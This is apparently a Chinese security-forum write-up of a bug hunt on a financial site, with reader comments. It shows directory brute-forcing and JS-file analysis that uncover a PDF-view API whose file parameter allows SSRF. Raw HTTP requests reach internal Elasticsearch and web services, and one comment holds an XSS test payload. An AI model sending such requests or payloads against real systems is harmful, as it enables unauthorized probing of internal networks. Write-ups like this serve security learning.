在某次金融类项目中,直接访问系统无任何功能,几乎相当于404 Not Found,甚至连JavaScript文件一个都不存在,最终通过渗透经验和一定的运气,拿下了这个高危SSRF漏洞。 直接访问页面404,给了一个url:http://xxx-desktop.xxx.com/ 打开之后发现是白的,基本页面空白会加载一些js,直接查看源代码 发现其中有几个类似于接口一样的路径 libs/plugins/jquery.js ./html/apply.html?data= cxx/token/decrypt 第一个jquery.js http://xxx-desktop.xxx.com/libs/plugins/jquery.js,大家都知道这个很有可能是前端信息所以我们不看 第二个html/apply.html?data=,加载了当前目录下一个html文件,路径为:http://xxx-desktop.xxx.com/html/apply.html?data=,原本以为有什么东西,访问一下,发现404 第三个cxx/token/decrypt,疑似接口路径,访问无果 都是404?就这样就完了么 http://xxx-desktop.xxx.com/html/ http://xxx-desktop.xxx.com/css/ http://xxx-desktop.xxx.com/js/ 发现爆破出来的有403这不就是突破么 对html、css、js进行目录,在js下面发现了几个目录 http://xxx-desktop.xxx.com/js/apply.js http://xxx-desktop.xxx.com/js/pagination.js http://xxx-desktop.xxx.com/js/common.js 继续去访问每一个js,发现common.js里面有一个接口目录:/xxxapi,尼玛目录这么复杂恶心谁呢 在/js/apply.js中发现了系统接口:file/pdf/view?file= 将一级接口目录/xxxapi/与系统接口file/pdf/view?file=进行拼接,组成可用接口: http://xxx-desktop.xxx.com/xxxapi/file/pdf/view?file= 并且发现JavaScript代码中的逻辑是:接口 + ecsUrl,因此猜测file参数为一个URL。 接下来尝试调用接口进行SSRF利用。 首先,使用VPS监听端口,尝试直接利用SSRF访问我们的端口,发现成功接收到了Java语言进行的HTTP请求 到现在证明漏洞存在,然后ssrf请求一下内网信息瞅瞅,之前已经拿到了部分内网资产,所以可以直接访问 测试访问内网Elasticsearch服务:http://10.x.x.191:9200 GET /xxxapi/file/pdf/view?file=http://10.x.x.191:9200/ HTTP/1.1 Host: xxx-desktop.xxx.com Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Accept: text/html,application/xhtml+xml,application/xml;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close 测试访问内网Web应用服务:http://10.x.x.65:8081/ GET /xxxhapi/file/pdf/view?file=http://10.x.x.65:8081 HTTP/1.1 Host: xxx-desktop.xxx.com Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Accept: text/html,application/xhtml+xml,application/xml;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
结束测试,好了空白页面大概我就这样了,大家参考一下就好,菜鸡在这里求点赞,谢谢。
Herry 师傅可以,关键还是在于扫描器。 😀
牛逼!学到了求求师傅分析js文件
7z 我是菜鸡,js文件简单看看还可以,插件加人工=yyds
jobs 啊这,别揭我底
窥到的好像是财富的密码,谢谢大师傅分享!我甚至想打赏一波 🤣
kidll 直接去冲啊
tql!
这种jsfinder好用还是手工找好啊
de3erve 我建议一起用
<script>alert('🐂')</script>